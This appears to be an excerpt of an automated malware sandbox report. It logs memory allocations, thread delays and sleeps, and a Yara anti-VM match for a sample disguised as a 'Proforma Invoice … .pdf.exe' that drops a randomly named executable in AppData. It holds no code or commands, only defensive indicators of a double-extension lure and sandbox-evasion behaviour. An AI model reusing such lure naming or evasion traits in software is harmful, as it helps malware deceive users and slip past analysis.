Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 7576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vrhZELiHpiub.exe PID: 8164, type: MEMORYSTR

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Memory allocated: A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Memory allocated: 2790000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Memory allocated: 4790000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Memory allocated: 8AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Memory allocated: 7580000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Memory allocated: 9AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Memory allocated: AAC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Memory allocated: 2690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Memory allocated: 2870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Memory allocated: 27B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Memory allocated: 810000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Memory allocated: 24F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Memory allocated: 2350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Memory allocated: 82C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Memory allocated: 6860000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Memory allocated: 92C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Memory allocated: A2C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Memory allocated: 1110000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Memory allocated: 2B30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Memory allocated: 1190000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599780	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 599093	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598311	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 598092	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597967	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597858	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597750	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597311	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597202	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596655	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596546	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595671	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595124	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 595014	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 594776	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 594650	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Thread delayed: delay time: 594547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599766
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599641
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599531
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599422
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599313
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599188
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 599063
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598938
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598828
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598715
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598610
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598448
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598320
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598219
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 598094
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597983
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597875
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597766
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597656
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597543
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597438
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597313
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597188
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 597078
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596969
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596844
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596734
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596625
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596516
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596406
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596297
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596188
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 596063
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595953
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595844
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595719
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595609
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595500
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595366
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595250
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595141
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 595030
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 594894
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 594780
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 594658
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 594532
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 594407
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Thread delayed: delay time: 594282

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3835	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5914	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Window / User API: threadDelayed 4434	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Window / User API: threadDelayed 5411	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Window / User API: threadDelayed 7295
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Window / User API: threadDelayed 2533

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 7596	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 6712	Thread sleep count: 4434 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 6712	Thread sleep count: 5411 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -599780s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -599312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -599203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -599093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -598984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -598765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -598547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -598422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -598311s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -598092s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -597967s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -597858s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -597750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -597640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -597531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -597422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -597311s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -597202s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -597093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -596984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -596875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -596765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -596655s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -596546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -596437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -596328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -596218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -596000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -595890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -595671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -595343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -595234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -595124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -595014s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -594906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -594776s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -594650s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe TID: 8172	Thread sleep time: -594547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 8188	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep count: 33 > 30
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -30437127721620741s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -599875s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 5720	Thread sleep count: 7295 > 30
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 5720	Thread sleep count: 2533 > 30
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -599766s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -599641s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -599531s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -599422s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -599313s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -599188s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -599063s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -598938s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -598828s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -598715s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -598610s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -598448s >= -30000s
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe TID: 2652	Thread sleep time: -598320s >= -30000s
